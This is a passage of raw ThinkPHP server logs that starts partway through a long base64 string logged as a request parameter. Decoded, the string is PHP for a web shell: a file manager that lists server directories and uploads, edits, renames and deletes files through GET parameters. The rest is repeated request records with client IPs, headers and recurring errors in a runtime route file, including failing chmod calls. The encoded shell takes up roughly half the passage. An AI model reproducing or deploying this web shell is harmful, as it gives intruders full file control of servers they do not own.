_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4g' => '', 'admin' => 'plugins', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:34:35+08:00 ] 113.215.189.12 GET 59.110.137.245/ [运行时间:0.001577s] [吞吐率:634.16req/s] [内存消耗:159.92kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.6074.44 Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => '59.110.137.245', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:34:35+08:00 ] 113.215.189.12 GET 59.110.137.245/ [运行时间:0.001595s] [吞吐率:626.95req/s] [内存消耗:159.92kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.1936.108 Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => '59.110.137.245', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:34:35+08:00 ] 113.215.189.12 GET 59.110.137.245/favicon.ico [运行时间:0.002359s] [吞吐率:423.92req/s] [内存消耗:132.86kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'favicon.ico', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.1936.108 Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => '59.110.137.245', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:40:22+08:00 ] 179.43.191.98 GET 59.110.137.245:80/ [运行时间:0.001506s] [吞吐率:664.08req/s] [内存消耗:159.24kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245:80', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_USER_AGENT[/data/wwwroot/tianwei/think/runtime/route.php:32] --------------------------------------------------------------- [ 2024-10-22T04:51:57+08:00 ] 199.45.154.142 GET 59.110.137.245:80/ [运行时间:0.001548s] [吞吐率:645.97req/s] [内存消耗:159.24kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245:80', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_USER_AGENT[/data/wwwroot/tianwei/think/runtime/route.php:32] --------------------------------------------------------------- [ 2024-10-22T04:52:06+08:00 ] 199.45.154.142 GET 51tianwei.com/ [运行时间:0.001416s] [吞吐率:706.23req/s] [内存消耗:159.54kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)', 'accept' => '*/*', 'accept-encoding' => 'gzip', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:52:07+08:00 ] 199.45.154.142 GET 51tianwei.com/favicon.ico [运行时间:0.002236s] [吞吐率:447.25req/s] [内存消耗:132.62kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'favicon.ico', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:56:29+08:00 ] 103.194.185.114 GET www.51tianwei.com/effect/js/transform.js 